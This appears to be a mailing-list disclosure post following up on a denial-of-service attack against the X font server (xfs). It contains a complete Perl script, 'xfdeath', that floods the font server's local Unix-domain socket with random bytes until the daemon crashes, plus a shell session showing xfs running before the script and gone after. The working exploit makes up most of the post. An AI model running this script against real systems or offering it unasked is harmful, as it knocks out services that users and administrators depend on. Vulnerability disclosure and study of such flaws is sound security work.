I forgot to mention that the TCP attack against the font server is (obviously) only applicable to font-servers listening to TCP. (Which is probably only the case for systems serving x-terminals.) Thanks to people who pointed this out. If we want to kill a font-server running on the Mandrake/Redhat/whatever *default* setup, we have to send the garbage to the Unix-Domain socket instead. I've only tested this on Mandrake 8.0, on my system it takes about 5-10 seconds before xfs dies. I appologize if the script is ugly, I'm a PHB, not a developer, and the few lines below is more perl than I've written all year. Mathias [user@userland ~]$ ps -ax|grep xfs 3690 ? S 0:00 xfs -port -1 -daemon -user xfs 3723 pts/2 S 0:00 grep xfs [user@userland ~]$./xfdeath [user@userland ~]$ ps -ax|grep xfs 3780 pts/1 S 0:00 grep xfs [user@userland ~]$cat xfdeath #!/usr/bin/perl -w use Socket; use strict; my ($grab, $line, $garbagebyte,$i,$STOP); sub darned { $STOP=1; } open(GARBAGE, "/dev/urandom") || die "cannot read /dev/urandom: $!"; $SIG{'PIPE'} = 'darned'; for ($i = 0; $i < 1000; ++$i) { $STOP=0; $grab = shift || '/tmp/.font-unix/fs-1'; socket(A_SOCKET, PF_UNIX, SOCK_STREAM, 0) || die "socket: $!"; connect(A_SOCKET, sockaddr_un($grab)) || die "connect: $!"; while (!$STOP) { read(GARBAGE, $garbagebyte, 1); print "."; print A_SOCKET $garbagebyte; } } exit; _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.
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